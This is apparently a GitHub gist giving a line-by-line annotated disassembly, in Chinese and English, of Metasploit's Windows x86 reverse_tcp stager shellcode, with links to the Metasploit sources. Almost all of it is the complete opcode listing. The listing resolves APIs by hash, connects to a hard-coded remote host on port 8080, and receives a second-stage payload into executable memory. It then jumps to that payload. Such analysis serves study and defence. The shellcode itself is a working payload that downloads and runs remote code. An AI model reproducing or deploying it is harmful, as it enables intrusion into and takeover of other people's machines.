Last active
August 23, 2021 02:26
-
-
Save Dliv3/e9f0200c00202cc4a645e58d198e4b6c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; reverse_tcp shellcode: https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/reverse_tcp.rb | |
; https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/stager/stager_reverse_tcp_nx.asm | |
; https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_tcp.asm | |
; https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_recv.asm | |
; asm_block_api for windows x86: https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/block_api.rb | |
; https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm | |
; hash算法&预定义好的各种函数的hash值: https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/hash.py | |
; PE结构: https://docs.microsoft.com/en-us/windows/desktop/debug/pe-format | |
;《0day安全:软件漏洞分析技术》92页 | |
; https://blog.cobaltstrike.com/2014/02/12/modifying-metasploits-stager-shellcode/ | |
; linux/x86/meterpreter/reverse_tcp shellcode analysis https://whitedome.com.au/re4son/slae-5-1-linuxx86meterpreterreverse_tcp-shellcode-analysis/ | |
0: fc cld ; clear DF, DF = 0 | |
; 注意先将标志DF清零。因为当shellcode 是利用异常处理 | |
; 机制而植入的时候,往往会产生标志位的变化,使shellcode 中的字串处理方向发生变化而产生 | |
; 错误(如指令LODSD)。如果您在堆溢出利用中发现原本身经百战的shellcode 在运行时出错, | |
; 很可能就是这个原因。总之,一个字节的指令可以大大增加shellcode 的通用性。 | |
1: e8 82 00 00 00 call 0x88 | |
; --------------------- find and call API according to hash(module_name, api_name) --------------------- | |
; arg0: hash of module_name + api_name | |
; arg1: api's arg0 | |
; arg2: api's arg1 | |
; ...... | |
6: 60 pusha | |
7: 89 e5 mov ebp,esp ; 开辟栈空间 | |
9: 31 c0 xor eax,eax ; eax = 0 | |
b: 64 8b 50 30 mov edx,DWORD PTR fs:[eax+0x30] ; edx = address of PEB | |
f: 8b 52 0c mov edx,DWORD PTR [edx+0xc] ; edx = address of PEB->PEB_LDR_DATA | |
12: 8b 52 14 mov edx,DWORD PTR [edx+0x14] ; edx = PEB->PEB_LDR_DATA->InMemoryOrderModuleList->Flink (指向第一个_LDR_DATA_TABLE_ENTRY结构体的InMemoryOrderLinks) | |
15: 8b 72 28 mov esi,DWORD PTR [edx+0x28] ; ((_UNICODE_STRING)BaseDllName)->Buffer 模块名 | |
18: 0f b7 4a 26 movzx ecx,WORD PTR [edx+0x26] ; ((_UNICODE_STRING)BaseDllName)->MaximumLength (Buffer长度) | |
1c: 31 ff xor edi,edi ; edi = 0 | |
1e: ac lods al,BYTE PTR ds:[esi] ; 将模块名的第一个字节取出放入al (lods 取字符串元素指令), esi + 1 | |
1f: 3c 61 cmp al,0x61 ; 判断字母范围去掉模块名是大写还是小写 | |
21: 7c 02 jl 0x25 | |
23: 2c 20 sub al,0x20 ; al = al - 0x20, 将字母转换为大写 | |
25: c1 cf 0d ror edi,0xd ; edi = edi >> 13 | |
28: 01 c7 add edi,eax ; edi = edi + al | |
2a: e2 f2 loop 0x1e ; Hash算法计算模块名hash | |
; edi = 模块名hash值 | |
2c: 52 push edx ; 保存当前_LDR_DATA_TABLE_ENTRY地址+0x8 | |
2d: 57 push edi ; 保存模块hash值 | |
2e: 8b 52 10 mov edx,DWORD PTR [edx+0x10] ; edx = _LDR_DATA_TABLE_ENTRY->DllBase(PE加载基址) | |
31: 8b 4a 3c mov ecx,DWORD PTR [edx+0x3c] ; ecx = IMAGE_NT_HEADERS 相对偏移 | |
34: 8b 4c 11 78 mov ecx,DWORD PTR [ecx+edx*1+0x78]; dt -b ntdll!_IMAGE_NT_HEADERS ecx+edx | |
; 偏移0x78的位置为 DataDirectory[0] =IMAGE_EXPORT_DIRECTORY相对偏移 | |
38: e3 48 jecxz 0x82 ; jump if ecx == 0 , ecx == 0表示没有导出表,则edx指向下一个_LDR_DATA_TABLE_ENTRY | |
3a: 01 d1 add ecx,edx ; ecx = IMAGE_EXPORT_DIRECTORY绝对地址 | |
3c: 51 push ecx ; 保存IMAGE_EXPORT_DIRECTORY的绝对地址 | |
3d: 8b 59 20 mov ebx,DWORD PTR [ecx+0x20] ; WinDbg里并没有IMAGE_EXPORT_DIRECTORY的定义, msdn和网上都可以找到结构体定义 | |
; https://docs.microsoft.com/en-us/windows/desktop/debug/pe-format#export-directory-table | |
; https://www.pinvoke.net/default.aspx/Structures.IMAGE_EXPORT_DIRECTORY | |
; ebx = IMAGE_EXPORT_DIRECTORY->AddressOfNames(address of funcion name string array) 相当于模块加载基址的偏移 | |
40: 01 d3 add ebx,edx ; ebx = address of function name string array 的绝对地址 | |
42: 8b 49 18 mov ecx,DWORD PTR [ecx+0x18] ; ecx = IMAGE_EXPORT_DIRECTORY->NumberOfNames 导出表中函数的个数 | |
45: e3 3a jecxz 0x81 ; 遍历完function name之后切换到下一个模块 | |
47: 49 dec ecx ; 从后往前遍历 | |
48: 8b 34 8b mov esi,DWORD PTR [ebx+ecx*4] ; 某个函数名称的地址相对于模块基址的偏移 | |
4b: 01 d6 add esi,edx ; esi = 导出函数名称的绝对地址 | |
4d: 31 ff xor edi,edi ; edi = 0 | |
4f: ac lods al,BYTE PTR ds:[esi] ; 将函数名的第一个字节取出放入al, esi + 1 | |
50: c1 cf 0d ror edi,0xd ; edi = edi >> 13 | |
53: 01 c7 add edi,eax ; edi = edi + eax | |
55: 38 e0 cmp al,ah ; if al != 0 | |
57: 75 f6 jne 0x4f ; jmp 0x4f | |
; edi = 函数名hash | |
59: 03 7d f8 add edi,DWORD PTR [ebp-0x8] ; edi = 函数名hash + 当前模块hash | |
5c: 3b 7d 24 cmp edi,DWORD PTR [ebp+0x24] ; 与call 0x6时push的hash是否相同 | |
5f: 75 e4 jne 0x45 ; 如果不同,继续遍历导出函数名称并计算Hash | |
61: 58 pop eax ; eax = IMAGE_EXPORT_DIRECTORY绝对地址 | |
62: 8b 58 24 mov ebx,DWORD PTR [eax+0x24] ; ebx = IMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals 相对地址 | |
65: 01 d3 add ebx,edx ; ebx = IMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals 绝对地址 | |
67: 66 8b 0c 4b mov cx,WORD PTR [ebx+ecx*2] ; export-ordinal-table 一个编号占两个字节 https://docs.microsoft.com/en-us/windows/desktop/debug/pe-format#export-ordinal-table | |
; cx = 要寻找的函数编号 | |
6b: 8b 58 1c mov ebx,DWORD PTR [eax+0x1c] ; ebx = IMAGE_EXPORT_DIRECTORY->AddressOfFunctions 相对地址 | |
6e: 01 d3 add ebx,edx ; ebx = IMAGE_EXPORT_DIRECTORY->AddressOfFunctions 绝对地址 | |
70: 8b 04 8b mov eax,DWORD PTR [ebx+ecx*4] ; eax = 要寻找的函数的相对地址 | |
73: 01 d0 add eax,edx ; eax = 要寻找的函数的绝对地址 | |
75: 89 44 24 24 mov DWORD PTR [esp+0x24],eax ; 修改掉pushad压到栈里的eax值,在popad的时候就可以直接令eax=要寻找的函数的绝对地址 | |
79: 5b pop ebx ; 恢复栈平衡 | |
7a: 5b pop ebx ; 恢复栈平衡 | |
7b: 61 popa ; 恢复寄存器状态 | |
; eax = 要寻找的函数的绝对地址 | |
7c: 59 pop ecx ; pop ret addr | |
7d: 5a pop edx ; pop hash | |
7e: 51 push ecx ; push ret addr | |
7f: ff e0 jmp eax ; call api 调用函数 | |
81: 5f pop edi | |
82: 5f pop edi ; 如果没有导出表 | |
83: 5a pop edx | |
84: 8b 12 mov edx,DWORD PTR [edx] ; 获得下一个模块地址 | |
86: eb 8d jmp 0x15 | |
; ------------------------------------------------------------------------------ | |
; --------------------- LoadLibraryA() --------------------- | |
88: 5d pop ebp ; ebp = shellcode + 0x6, get shellcode's address | |
89: 68 33 32 00 00 push 0x3233 | |
8e: 68 77 73 32 5f push 0x5f327377 ; ASCII "ws2_32" | |
93: 54 push esp ; push LoadLibraryA的第一个参数 | |
94: 68 4c 77 26 07 push 0x726774c ; hash kernel32.dll!LoadLibraryA | |
99: 89 e8 mov eax,ebp | |
9b: ff d0 call eax ; call shellcode + 0x6 | |
; --------------------- WSAStartup(0x0190, &WSAData) --------------------- | |
; int WSAStartup( | |
; __in WORD wVersionRequested, | |
; __out LPWSADATA lpWSAData | |
; ); | |
; -------------------------------------------------------- | |
9d: b8 90 01 00 00 mov eax,0x190 ; EAX = sizeof( struct WSAData ) | |
a2: 29 c4 sub esp,eax ; 开辟栈空间 | |
a4: 54 push esp ; lpWSAData | |
a5: 50 push eax ; wVersionRequired | |
; Winsock DLL会检查wVersionRequested参数中传递的应用程序所请求的Windows套接字规范的版本 | |
; 如果应用程序请求的版本等于或高于Winsock DLL支持的最低版本,则调用成功, | |
a6: 68 29 80 6b 00 push 0x6b8029 ; ws2_32.dll!WSAStartup | |
ab: ff d5 call ebp ; call shellcode + 0x6 | |
; --------------------- WSASocketA(AF_INET 0x2, SOCK_STREAM 0x1, 0, 0, 0, 0) --------------------- | |
; SOCKET WSAAPI WSASocketA( | |
; int af, | |
; int type, | |
; int protocol, | |
; LPWSAPROTOCOL_INFOA lpProtocolInfo, | |
; GROUP g, | |
; DWORD dwFlags | |
; ); | |
; -------------------------------------------------------- | |
ad: 6a 0a push 0xa ; 重试次数 | |
af: 68 2f 5f 73 01 push 0x1735f2f ; host in little-endian format | |
b4: 68 02 00 11 5c push 0x901f0002 ; family AF_INET and port number 8080 | |
b9: 89 e6 mov esi,esp ; save pointer to sockaddr struct | |
bb: 50 push eax ; push 0 如果WSAStartup成功,eax=0 | |
bc: 50 push eax ; push 0 | |
bd: 50 push eax ; push 0 | |
be: 50 push eax ; push 0 | |
bf: 40 inc eax | |
c0: 50 push eax ; push SOCK_STREAM 0x1 | |
c1: 40 inc eax | |
c2: 50 push eax ; push AF_INET 0x2 | |
c3: 68 ea 0f df e0 push 0xe0df0fea ; ws2_32.dll!WSASocketA | |
c8: ff d5 call ebp ; call shellcode + 0x6 | |
ca: 97 xchg edi,eax ; edi <=> eax | |
; --------------------- connect() --------------------- | |
; int WSAAPI connect( | |
; SOCKET s, | |
; const sockaddr *name, | |
; int namelen | |
; ); | |
; -------------------------------------------------------- | |
cb: 6a 10 push 0x10 ; sizeof SOCKADDR_IN | |
cd: 56 push esi ; SOCKADDR_IN | |
ce: 57 push edi ; SOCKET 0x2 | |
cf: 68 99 a5 74 61 push 0x6174a599 ; ws2_32.dll!connect | |
d4: ff d5 call ebp ; call shellcode + 0x6 | |
; --------------------- recv() --------------------- | |
; int recv( | |
; SOCKET s, | |
; char *buf, | |
; int len, | |
; int flags | |
; ); | |
; -------------------------------------------------------- | |
d6: 85 c0 test eax,eax | |
d8: 74 0a je 0xe4 ; if connect return 0, call recv | |
da: ff 4e 08 dec DWORD PTR [esi+0x8] | |
dd: 75 ec jne 0xcb ; goto connect() 重新尝试连接服务端 | |
df: e8 67 00 00 00 call 0x14b ; call ExitProcess | |
e4: 6a 00 push 0x0 ; recv flags = 0 | |
e6: 6a 04 push 0x4 ; recvBufferLen | |
e8: 56 push esi ; recvBuffer | |
e9: 57 push edi ; SOCKET | |
ea: 68 02 d9 c8 5f push 0x5fc8d902 ; ws2_32.dll!recv | |
ef: ff d5 call ebp ; call shellcode + 0x6 | |
; --------------------- VirtualAlloc() --------------------- | |
; LPVOID WINAPI VirtualAlloc( | |
; _In_opt_ LPVOID lpAddress, | |
; _In_ SIZE_T dwSize, | |
; _In_ DWORD flAllocationType, | |
; _In_ DWORD flProtect | |
; ); | |
; -------------------------------------------------------- | |
f1: 83 f8 00 cmp eax,0x0 | |
f4: 7e 36 jle 0x12c ; if recv 返回值小于等于0 , goto closesocket | |
f6: 8b 36 mov esi,DWORD PTR [esi] | |
f8: 6a 40 push 0x40 ; flProtect = PAGE_EXECUTE_READWRITE | |
fa: 68 00 10 00 00 push 0x1000 ; flAllocationType = MEM_COMMIT | |
ff: 56 push esi ; dwSize | |
100: 6a 00 push 0x0 ; lpAddress 如果此参数为 NULL,则系统确定分配区域的位置。 | |
102: 68 58 a4 53 e5 push 0xe553a458 ; kernel32.dll!VirtualAlloc | |
107: ff d5 call ebp ; call shellcode + 0x6 | |
; --------------------- recv() --------------------- | |
; int recv( | |
; SOCKET s, | |
; char *buf, | |
; int len, | |
; int flags | |
; ); | |
; -------------------------------------------------------- | |
109: 93 xchg ebx,eax ; ebx = VirtualAlloc's ret value | |
10a: 53 push ebx | |
10b: 6a 00 push 0x0 ; flags | |
10d: 56 push esi ; buf len | |
10e: 53 push ebx ; buf | |
10f: 57 push edi ; SOCKET | |
110: 68 02 d9 c8 5f push 0x5fc8d902 ; ws2_32.dll!recv | |
115: ff d5 call ebp ; call shellcode + 0x6 | |
; --------------------- VirtualFree() --------------------- | |
; BOOL WINAPI VirtualFree( | |
; _In_ LPVOID lpAddress, | |
; _In_ SIZE_T dwSize, | |
; _In_ DWORD dwFreeType | |
; ); | |
; -------------------------------------------------------- | |
117: 83 f8 00 cmp eax,0x0 | |
11a: 7d 28 jge 0x144 | |
11c: 58 pop eax ; eax = VirtualAlloc's ret value | |
11d: 68 00 40 00 00 push 0x4000 ; MEM_DECOMMIT | |
122: 6a 00 push 0x0 ; Free由VirtualAlloc申请的内存空间 | |
124: 50 push eax ; lpAddress = VirtualAlloc's ret value | |
125: 68 0b 2f 0f 30 push 0x300f2f0b ; hash kernel32.dll!VirtualFree | |
12a: ff d5 call ebp ; call shellcode + 0x6 | |
; --------------------- closesocket() --------------------- | |
; int closesocket( | |
; IN SOCKET s | |
; ); | |
; -------------------------------------------------------- | |
12c: 57 push edi | |
12d: 68 75 6e 4d 61 push 0x614d6e75 ; hash ws2_32.dll!closesocket | |
132: ff d5 call ebp ; call shellcode + 0x6 | |
134: 5e pop esi | |
135: 5e pop esi | |
136: ff 0c 24 dec DWORD PTR [esp] | |
139: 0f 85 70 ff ff ff jne 0xaf | |
13f: e9 9b ff ff ff jmp 0xdf ; ExitProcess | |
; ----------------------- exec shellcode --------------------------------- | |
144: 01 c3 add ebx,eax | |
146: 29 c6 sub esi,eax | |
148: 75 c1 jne 0x10b | |
14a: c3 ret ; exec stage 2 shellcode | |
; --------------------- ExitProcess() --------------------- | |
14b: bb f0 b5 a2 56 mov ebx,0x56a2b5f0 ; hash kernel32.dll!ExitProcess | |
150: 6a 00 push 0x0 | |
152: 53 push ebx | |
153: ff d5 call ebp ; call shellcode + 0x6 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment